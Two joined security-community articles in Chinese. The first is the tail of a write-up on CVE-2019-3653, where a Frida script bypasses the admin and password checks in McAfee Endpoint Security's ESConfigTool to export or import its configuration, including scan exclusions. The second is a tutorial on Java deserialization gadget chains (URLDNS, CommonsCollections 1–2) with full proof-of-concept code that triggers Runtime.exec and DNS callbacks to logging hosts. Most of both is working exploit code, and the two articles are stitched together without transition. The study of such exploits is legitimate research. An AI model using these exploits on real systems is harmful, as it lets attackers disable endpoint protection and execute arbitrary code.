ESConfigTool.exe /import <filename> [/module <TP|FW|WC|ESP> ] [/unlock <password> ] [/policyname <name> ]
ESConfigTool.exe /help
C:\Users\user>
日志里面也没有信息。
那么我们如何知道管理员检查的具体机制？我们可以以普通用户权限运行调试器来分析一下，此时发现目标会调用一个函数，在返回值上执行字符串比较操作，如果返回代码不等于`0`，则会调用`exit`。
如果跟进该函数，最终可以找到一个函数：[AllocateAndInitializeSid](https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-allocateandinitializesid)。这些过程都比较蛋疼，不值得专门花时间逆向分析。我们可以试一下偷懒的方法，直接修改返回值。
进一步分析，我们发现返回值检查逻辑位于此处：
这里我们直接把返回值设置为`0`：
结果依然非常顺利！
现在我们可以在受限权限且不知道正确密码的情况下，从McAfee Endpoint Security中导出配置信息。
## 0x06 自动化操作
目前的进展非常顺利，然而如果每次都需要attach调试器，手动修改返回值，显然是非常痛苦的操作。幸运的是，[Frida](https://www.frida.re/)可以提供援手。如果大家不熟悉Frida，建议了解一下。该工具可以帮我们做很多操作，比如hook函数、修改返回值等，我们只需要了解JavaScript就能完成这些任务。
但是我们如何将Frida注入McAfee呢？非常简单，使用[frida-server](https://github.com/frida/frida/releases/download/12.7.9/frida-server-12.7.9-windows-x86_64.exe.xz)即可。我们可以在运行McAfee的主机上打开该工具，然后使用Python发起连接。
**McAfee目标主机：**
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\admin>cd \temp
C:\temp>frida-server-12.7.9-windows-x86_64.exe
**Python主机：**
Python 3.6.7 (default, Oct 22 2018, 11:32:17)
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import frida
>>> devmgr = frida.get_device_manager()
>>> devmgr.add_remote_device('192.168.31.150')
Device(id="[email protected]", name="192.168.31.150", type='remote')
>>> rdev = frida.get_device('[email protected]')
>>> args = [
... 'ESConfigTool.exe',
... '/export',
... 'frida-export.xml',
... '/module',
... 'ESP',
... '/unlock',
... 'startrek',
... '/plaintext'
... ]
>>> pid = rdev.spawn(args)
>>> session = rdev.attach(pid)
>>> session
Session(pid=11168)
成功连接，且`ESConfigTool.exe`处于运行状态！
现在我们可以将JavaScript代码注入`ESConfigTool`进程中。
## 0x07 Frida脚本
这里我就不详细介绍如何创建该脚本，本文已经介绍了足够多的背景信息，这里我直接给出完整脚本：
const configBase = Module.findBaseAddress('ESConfigTool.exe');
//const adminCheck = configBase.add(0x5240); //32
const adminCheck = configBase.add(0x5f30); //64
const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod')
console.log('[-] Base address is:',configBase);
console.log('[-] Admin check is:',adminCheck);
console.log('[-] BLInvokeMethod:',BLInvokeMethod);
Interceptor.attach(adminCheck, {
onEnter: function (args) {
console.log('[+] Hooked admin check function');
},
onLeave: function (retval) {
console.log('[+] Returning true for admin check');
retval.replace(1);
}
});
Interceptor.attach(BLInvokeMethod, {
onEnter: function (args) {
console.log('[+] Hooked BLInvokeMethod function');
},
onLeave: function (retval) {
console.log('[+] Patching password check function');
retval.replace(0x0);
}
});
脚本的逻辑与我们在调试器中手动执行的逻辑一致，会修改返回值。让我们注入脚本，观察是否能成功执行：
>>> script = """
... const configBase = Module.findBaseAddress('ESConfigTool.exe');
... //const adminCheck = configBase.add(0x5240); //32
... const adminCheck = configBase.add(0x5f30); //64
... const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod')
...
... console.log('[-] Base address is:',configBase);
... console.log('[-] Admin check is:',adminCheck);
... console.log('[-] BLInvokeMethod:',BLInvokeMethod);
...
... Interceptor.attach(adminCheck, {
... onEnter: function (args) {
... console.log('[+] Hooked admin check function');
... },
... onLeave: function (retval) {
... console.log('[+] Returning true for admin check');
... retval.replace(1);
... }
... });
...
... Interceptor.attach(BLInvokeMethod, {
... onEnter: function (args) {
... console.log('[+] Hooked BLInvokeMethod function');
... },
... onLeave: function (retval) {
... console.log('[+] Patching password check function');
... retval.replace(0x0);
... }
... });
...
... """
>>> session.create_script(script).load()
[-] Base address is: 0x7ff73ed30000
[-] Admin check is: 0x7ff73ed35f30
[-] BLInvokeMethod: 0x7ffa4d759730
>>> rdev.resume(pid)
>>> [+] Hooked admin check function
[+] Returning true for admin check
[+] Hooked BLInvokeMethod function
[+] Patching password check function
>>>
事实证明非常顺利：
> 虽然命令提示符中显示的是`admin`用户，但我并没有允许UAC弹窗。请相信我普通用户就能完成该任务。
## 0x08 后续操作
我们最终得到了扫描例外项目信息。由于该过程通过TCP连接完成，因此我也成功通过Cobalt Strike beacon完成该操作。
即使本文中我们只分析了如何导出该信息，但其实我们也可以 **导入** 配置文件。这意味着我们可以添加自己的例外项，修改其他设置，甚至删除密码等。
这里要稍微提一下`/plaintext`参数，这个参数有点“神经刀”。有时候能正常工作，有时候却不行。可能不同的版本性需要使用不同的函数偏移量？我并不确定。这里我不想进一步研究，因为即使McAfee向我们提供了不加此参数的加密配置，我们也可以将加密配置直接载入试用版产品中。
另外，配置信息究竟如何加密？这是另一个话题。当McAfee PSIRT（Product Security Incident Response
Team）修复该问题后，我会提供一些信息。
## 0x09 缓解机制
McAfee
PSIRT公布了一个[安全公告](https://kc.mcafee.com/corporate/index?page=content&id=SB10299)，修复了该问题，分配的漏洞编号为[CVE-2019-3653](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-3653)。这里我并没有测试漏洞是否已被修复，毕竟自己太懒了。
我还有另一个想法：即使官方修复了ESConfigTool中的问题，我们能否使用早期版本的工具，在新版的McAfee Endpoint
Protection上继续利用？这个工作留给大家完成，我上传了一个python
[PoC脚本](https://github.com/dmaasland/mcfridafee/blob/master/mcafee.py)，欢迎大家尝试。 | 社区文章 |
# Java安全-反序列化篇-URLDNS&cc1-7分析
##### 译文声明
本文是翻译文章，文章原作者 seebug，文章来源：paper.seebug.org
原文地址：<https://paper.seebug.org/1242/>
译文仅供参考，具体内容表达以及含义原文为准。
本篇将以URLDNS以及Commons Collections系列漏洞作为Java反序列化基础篇的练习，仅以巩固对反序列化这类漏洞的理解。
目前已经有很多java反序列化的学习文章供我们学习，所以我算是站在巨人的肩膀上完成了这篇文章，如果有什么错误的地方，欢迎指正，感谢🙏。
下文将以yso代替ysoserial，以cc代替Commons Collections进行分析。
ysoserial的payload可以通过访问[payloads](https://github.com/frohoff/ysoserial/tree/master/src/main/java/ysoserial/payloads)获得。
以下描述的链中涉及到的class均实现了Serializable，所以均可被反序列化，这点将不再提及。
## URLDNS
URLDNS是反序列化时经常会用到的链，通常用于快速检测是否存在反序列化漏洞，原因如下：
* 只依赖原生类
* 不限制jdk版本
测试环境：jdk 8u131
### 利用链
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
### 利用链分析
urldns是yso中较为简单的一个gadget，所以这里可以直接通过正向分析的方式进行分析。
HashMap#readObject：
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
上面的这些前面一大段暂时先忽略，重点关注putVal这一段，这里调用了hash方法来处理key，跟进hash方法：
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里调用了key.hashCode方法，让我们看看URL的hashCode方法：
URL#hashCode：
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
在URL类的hashCode方法中，又调用了URLStreamHandler#hashCode，并将自身传递进去：
URLStreamHandler#hashCode
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
重点关注这里的getHostAddress，正是这步触发了dns请求：
回到第一步：HashMap#readObject
key是使用readObject取出来的，也就是说在writeObject一定会写入key：
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
int buckets = capacity();
// Write out the threshold, loadfactor, and any hidden stuff
s.defaultWriteObject();
s.writeInt(buckets);
s.writeInt(size);
internalWriteEntries(s);
}
跟入internalWriteEntries：
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
Node<K,V>[] tab;
if (size > 0 && (tab = table) != null) {
for (int i = 0; i < tab.length; ++i) {
for (Node<K,V> e = tab[i]; e != null; e = e.next) {
s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
}
不难发现，这里的key以及value是从tab中取的，而tab的值即HashMap中table的值。
此时我们如果想要修改table的值，就需要调用HashMap#put方法，而HashMap#put方法中也会对key调用一次hash方法，所以在这里就会产生第一次dns查询：
HashMap#put：
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
import java.util.HashMap;
import java.net.URL;
public class Test {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://urldns.4ac35f51205046ab.dnslog.cc/");
map.put(url,123); //此时会产生dns查询
}
}
我们只想判断payload在对方机器上是否成功触发，那该怎么避免掉这一次dns查询，回到URL#hashCode：
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
这里会先判断hashCode是否为-1，如果不为-1则直接返回hashCode，也就是说我们只要在put前修改URL的hashCode为其他任意值，就可以在put时不触发dns查询。
这里的hashCode是private修饰的，所以我们需要通过反射来修改其值。
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
public class Test {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://urldns.4ac35f51205046ab.dnslog.cc/");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); //修改访问权限
f.set(url,123); //设置hashCode值为123，这里可以是任何不为-1的数字
System.out.println(url.hashCode()); // 获取hashCode的值，验证是否修改成功
map.put(url,123); //调用map.put 此时将不会再触发dns查询
}
}
此时输出url的hashCode为123，证明修改成功。当put完毕之后再将url的hashCode修改为-1，确保在反序列化调用hashCode方法时能够正常进行，下面是完整的POC：
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
public class Test {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://urldns1.eakcmc.ceye.io/");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); // 修改访问权限
f.set(url,123); // 设置hashCode值为123，这里可以是任何不为-1的数字
System.out.println(url.hashCode()); // 获取hashCode的值，验证是否修改成功
map.put(url,123); // 调用map.put 此时将不会再触发dns查询
f.set(url,-1); // 将url的hashCode重新设置为-1。确保在反序列化时能够成功触发
try{
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(map);
outputStream.close();
fileOutputStream.close();
FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}
回过头来看看yso的payload：
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
yso在创建URL对象时使用了三个参数的构造方法。这里比较有意思的是，yso用了子类继承父类的方式规避了dns查询的风险，其创建了一个内部类：
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
定义了一个URLConnection和getHostAddress方法，当调用put方法走到getHostAddress方法后，会调用SilentURLStreamHandler的getHostAddress而非URLStreamHandler的getHostAddress，这里直接return
null了，所以自然也就不会产生dns查询。
那么为什么在反序列化时又可以产生dns查询了呢？是因为这里的handler属性被设置为transient，前面说了被transient修饰的变量无法被序列化，所以最终反序列化读取出来的transient依旧是其初始值，也就是URLStreamHandler。
这也就解释了为什么反序列化后获取的handler并不是前面设置的SilentURLStreamHandler了。
两种方法都可以规避在put时造成的dns查询，前者比较简单且思路清晰，后者比较麻烦但同时也比较炫一些。当然，这里也可以直接不用HashMap#put方法来设置table，可以通过反射的方式来设置table，但是相对而言十分麻烦，所以并没有使用。
最终。我认为yso中写的利用链并不详细，我认为的利用链应该是这样的：
HashMap#readObject
HashMap#hash
URL#hashCode
URLStreamHandler#hashCode
URLStreamHandler#getHostAddress
在JDK7中也是一样的，HashMap#readObject中最后调的方法改了一下：
但是实际上还是会触发hash方法：
最终还是会调用到URL#hashCode：
## Commons Collections
Apache
Commons是Apache软件基金会的项目，曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成：Proper（是一些已发布的项目）、Sandbox（是一些正在开发的项目）和Dormant（是一些刚启动或者已经停止维护的项目）。
Commons Collections包为Java标准的Collections
API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中，既保证了性能，同时也能大大简化代码。
由于大量的生产环境中都会导入这个包，所以此包中的众多反序列化链已经成为经典链条，本篇将对cc1-7的链进行梳理和总结，以加深对java反序列化的理解。
### 环境搭建
在这里统一使用maven来导包，比较方便也比较快捷。
先按照网上的安装和配置好maven（创建本地仓库和选择远程仓库等），接着使用idea->create new project->maven。
之后要导包的话修改pom.xml即可，比如我这里要导一个cc3.1，只需要添加以下内容：
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
之后右侧会出现一个类似的更新按钮：
点击后即可实现自动导包，十分方便和快捷。导包完成之后左侧就可以看到成功导入的包了：
如果要修改jdk的话，需要改两个点，一个是编译用的jdk，一个是导包用的jdk。
第一个点可以在这里修改，首先新建一个maven的编译环境：
之后改jdk可以在runner这里改：
第二个导包的jdk可以从File->Project Structure->Modules->Dependencies这里修改：
### CommonsCollections 1
测试环境：
* JDK 1.7
* Commons Collections 3.1
**利用链**
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
**动态代理**
在cc1的前半部分链中用到了这里的知识，记录一下。
举一个简单的例子，供货商发货给超市，我们去超市买东西。
此时超市就相当于一个代理，我们可以直接去供货商买东西，但没多少人会这么做。
在Java中的代理模式也是一样，我们需要定义一个接口，这个接口不可以直接被实例化，需要通过类去实现这个接口，才可以实现对这个接口中方法的调用。
而动态代理实现了不需要中间商（类），直接“创建”某个接口的实例，对其方法进行调用。
当我们调用某个动态代理对象的方法时，都会触发代理类的invoke方法，并传递对应的内容。
Demo：
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class Test {
public static void main(String[] args){
InvocationHandler handler = new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};
Hello hello = (Hello)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Hello.class},handler);
hello.morning("liming");
}
}
Hello.java：
public interface Hello {
void morning(String name);
}
这里首先定义了一个handler，通过其实现对某个类接口的调用。
接着定义了一个代理对象Hello，需要传递三个参数分别为ClassLoader、要代理的接口数组以及调用接口时触发的对应方法。
此时我调用hello.morning,就会触发handler的invoke方法，并传递三个参数进去，分别为proxy即代理对象，method即调用的方法的Method对象，args即传递的参数。
所有的handler都需要实现InvocationHandler这个接口，并实现其invoke方法来实现对接口的调用。
**利用链分析**
先对后半段链进行分析。在commons
collections中有一个Transformer接口，其中包含一个transform方法，通过实现此接口来达到类型转换的目的。
其中有众多类实现了此接口，cc中主要利用到了以下三个。
* InvokerTransformer
其transform方法实现了通过反射来调用某方法：
* ConstantTransformer
其transform方法将输入原封不动的返回：
* ChainedTransformer
其transform方法实现了对每个传入的transformer都调用其transform方法，并将结果作为下一次的输入传递进去：
由这三个transformer组合起来，即可实现任意命令执行：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
public class cc1 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
chain.transform(123);
}
}
先说下这个反射链是如何构成的，先看InvokerTransformer的transform方法：
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
这里接收了一个Object，并调用这个Object方法，方法名、方法所需要的参数类型、方法所需要的参数这三个都是我们可以控制的。
所以我们可以直接通过这里来命令执行：
Runtime runtime = Runtime.getRuntime();
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"});
invoketransformer.transform(runtime);
这就需要一个条件，在调用transform方法的时候，需要传递一个Runtime.getRuntime()，这几乎是不可能的，没有人会在反序列化后调用transform方法还传递一个Runtime的实例进去。我们需要把攻击所需要的条件尽可能的缩小，实现在反序列化时就能够rce，所以需要想办法把传递Runtime.getRuntime()这一条件给去掉。接着就找到了ConstantTransformer这个类。
上面说了，其transform方法是将输入的Object原封不动的返回回去，那么我们是不是可以尝试这么搭配：
Object constantTransformer = new ConstantTransformer(Runtime.getRuntime()).transform(123);
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"});
invoketransformer.transform(constantTransformer);
上述代码搭配ChainedTransformer是这样的：
public void test(){
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
});
chain.transform(123);
}
此时只要ChainedTransformer反序列化后调用transform方法并传递任意内容即可实现rce，但是当尝试去序列化的时候，发生了一个问题：
因为这里的Runtime.getRuntime()返回的是一个Runtime的实例，而Runtime并没有继承Serializable，所以这里会序列化失败。
那么我们就需要找到一个方法来获取到Runtime.getRuntime()返回的结果，并将其传入invoketransformer的transform方法中。这就有了上边那条链。
这里通过InvokerTransformer来实现了一次反射，即通过反射来反射，先是调用getMethod方法获取了getRuntime这个Method对象，接着又通过Invoke获取getRuntime的执行结果。
这里我一开始看Class[].class以及new
Class[0]十分懵逼，不明白到底是为什么，后边经过几位师傅的指导终于理解了。我们这里尝试通过反射去调用getMethod方法，而getMethod的定义如下：
这里需要传入一个name也就是要调用的方法名，接着需要传递一个可变参数，所以这里的Class[].class，其实就是对应着这里的可变参数，即使我们不需要传递参数，也需要在这里加一个Class[].class，后边再加一个new
Class[0]起到占位的作用。
梳理一下现在已经构造好的链：
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
chain.transform(123);
目前已经构造到只需要反序列化后调用transform方法，并传递任意内容即可rce。我们的目的是在调用readObject的时候就触发rce，也就是说我们现在需要找到一个点调用了transform方法（如果能找到在readObject后就调用那是最好的），如果找不到在readObject里调用transform方法，那么就需要找到一条链，在readObject触发起点，接着一步步调用到了transform方法。
cc1里用的是Lazymap#get这个方法：
如果这里的this.factory可控，那么我们就可以通过LazyMap来延长我们的链，下一步就是找哪里调用了get方法了。
protected final Transformer factory;
这里的factory并没有被transient以及static关键字修饰，所以是我们可控的，并且由于factory是在类初始化时定义的，所以我们可以通过创建LazyMap实例的方式来设置他的值。
但是这里的构造方法并不是public的，所以需要通过反射的方式来获取到这个构造方法，再创建其实例。
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
LazyMap map = (LazyMap)constructor.newInstance(innermap,chain);
map.get(123);
}
接着我们需要找到某个地方调用了get方法，并且传递了任意值。通过学习了上边动态代理的知识，我们可以开始分析cc1的前半段链了。
入口时AnnotationInvocationHandler的readObject：
这里的readObject又调用了this.memberValues的entrySet方法。如果这里的memberValues是个代理类，那么就会调用memberValues对应handler的invoke方法，cc1中将handler设置为AnnotationInvocationHandler（其实现了InvocationHandler，所以可以被设置为代理类的handler）。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
这里对this.memberValues调用了get方法，如果此时this.memberValues为我们的map，那么就会触发LazyMap#get，从而完成触发rce。
完整POC：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.PredicatedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc1"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc1"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
分析一下利用过程：
在readObject时，会触发AnnotationInvocationHandler#readObject方法：
此时调用了this.memberValues.entrySet，而this.memberValues是之前构造好的proxy_map，由于这是一个代理对象，所以调用其方法时，会去调用其创建代理时设置的handler的invoke方法。
这个proxy_map设置的handler为这个map_handler,同样是InvocationHandler这个类，接着会调用他的invoke方法：
InvocationHandler#invoke的78行代码中调用了this.memberValues#get，此时的this.memberValues为之前设置好的lazymap，所以这里调用的是lazymap#get，从而触发后边的rce链。
这里还是比较绕的，因为设置了两个handler，但是第一个handler是为了触发lazymap#get，而第二个handler实际上只是为了触发代理类所设置handler的invoke方法。
接着解释一些细节的问题：
1.为什么这里要用反射的方式来创建AnnotationInvocationHandler的实例?
因为AnnotationInvocationHandler并不是public类，所以无法直接通过new的方式来创建其实例。
2.为什么创建其实例时传入的第一个参数是Override.class?
因为在创建实例的时候对传入的第一个参数调用了isAnnotation方法来判断其是否为注解类：
public boolean isAnnotation() {
return (getModifiers() & ANNOTATION) != 0;
}
而Override.class正是java自带的一个注解类：
所以这里可以直接用上，当然要是换成其他注解类也是ok的。
**后话**
创建lazymap那里其实并不需要用到反射，因为lazymap自带了一个方法来帮助我们创建其实例：
所以把上述通过反射来创建LazyMap的实例代码改为如下，也是可以成功的：
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
### CommonsCollections 2
测试环境：
* JDK 1.7
* Commons Collections 4.0
* javassit
maven：
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
**利用链**
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
**javassit**
cc2中用到了这块知识，在这里记录一下。
导包：
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
.java文件需要编译成.class文件后才能正常运行，而javassit是用于对生成的class文件进行修改，或以完全手动的方式，生成一个class文件。
Demo:
import javassist.*;
public class javassit_test {
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();
// 1. 创建一个空类
CtClass cc = pool.makeClass("Person");
// 2. 新增一个字段 private String name;
// 字段名为name
CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
// 访问级别是 private
param.setModifiers(Modifier.PRIVATE);
// 初始值是 "xiaoming"
cc.addField(param, CtField.Initializer.constant("xiaoming"));
// 3. 生成 getter、setter 方法
cc.addMethod(CtNewMethod.setter("setName", param));
cc.addMethod(CtNewMethod.getter("getName", param));
// 4. 添加无参的构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{name = "xiaohong";}");
cc.addConstructor(cons);
// 5. 添加有参的构造函数
cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
// $0=this / $1,$2,$3... 代表方法参数
cons.setBody("{$0.name = $1;}");
cc.addConstructor(cons);
// 6. 创建一个名为printName方法，无参数，无返回值，输出name值
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{System.out.println(name);}");
cc.addMethod(ctMethod);
//这里会将这个创建的类对象编译为.class文件
cc.writeFile("./");
}
public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}
